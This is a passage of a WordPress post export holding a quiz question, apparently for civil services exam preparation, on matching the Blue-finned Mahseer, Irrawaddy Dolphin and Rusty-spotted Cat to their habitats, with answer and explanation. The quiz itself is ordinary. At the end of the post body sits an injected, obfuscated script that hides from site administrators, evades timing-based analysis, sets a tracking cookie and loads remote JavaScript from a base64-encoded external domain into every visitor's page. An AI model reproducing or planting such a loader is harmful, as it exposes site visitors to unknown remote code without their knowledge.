in<\/strong><\/td><\/tr><tr><td>1<\/td><td>Blue-finned Mahseer<\/td><td>Cauvery River<\/td><\/tr><tr><td>2<\/td><td>Irrawaddy Dolphin<\/td><td>Chambal River<\/td><\/tr><tr><td>3<\/td><td>Rusty-spotted Cat<\/td><td>Eastern Ghats<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-187 wp-block-paragraph\"><strong>Which of the pairs given correctly matched?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-188 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-189 wp-block-paragraph\">(b) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-190 wp-block-paragraph\">(c) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-191 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-192 wp-block-paragraph\"><strong>Answer: (c) 1 and 3 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-193 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-194 wp-block-paragraph\"><strong>1. Blue-finned Mahseer \u2013 Cauvery River<\/strong> &#8211; <strong>Correct<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-195\">\n<li>The <em>Blue-finned Mahseer<\/em> (<em>Tor khudree<\/em>) is <strong>native to the Cauvery River system<\/strong> (mainly in Karnataka and Tamil Nadu).<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"473\" height=\"236\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/10\/image-6.png\" alt=\"\" class=\"wp-image-2658\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/10\/image-6.png 473w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/10\/image-6-300x150.png 300w\" sizes=\"auto, (max-width: 473px) 100vw, 473px\" \/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-196 wp-block-paragraph\"><strong>2. Irrawaddy Dolphin \u2013 Chambal River<\/strong> &#8211; <strong>Incorrect<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-197\">\n<li>The <em>Irrawaddy Dolphin<\/em> is found in <strong>brackish and coastal waters<\/strong> \u2014 especially in <strong>Chilika Lake (Odisha)<\/strong> and <strong>Sundarbans<\/strong>, not in the Chambal River.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"300\" height=\"168\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/10\/image-31.jpg\" alt=\"\" class=\"wp-image-2656\"\/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-198 wp-block-paragraph\"><strong>3. Rusty-spotted Cat \u2013 Eastern Ghats<\/strong> &#8211; <strong>Correct<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-199\">\n<li>The <em>Rusty-spotted Cat<\/em> (<em>Prionailurus rubiginosus<\/em>), the world\u2019s smallest wild cat, is found in <strong>forests of Western Ghats, Eastern Ghats, and Central India<\/strong>.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"430\" height=\"286\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/10\/image-5.png\" alt=\"\" class=\"wp-image-2657\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/10\/image-5.png 430w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/10\/image-5-300x200.png 300w\" sizes=\"auto, (max-width: 430px) 100vw, 430px\" \/><\/figure>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Consider the following statements regarding the Convention on Biological Diversity (CBD): 1. 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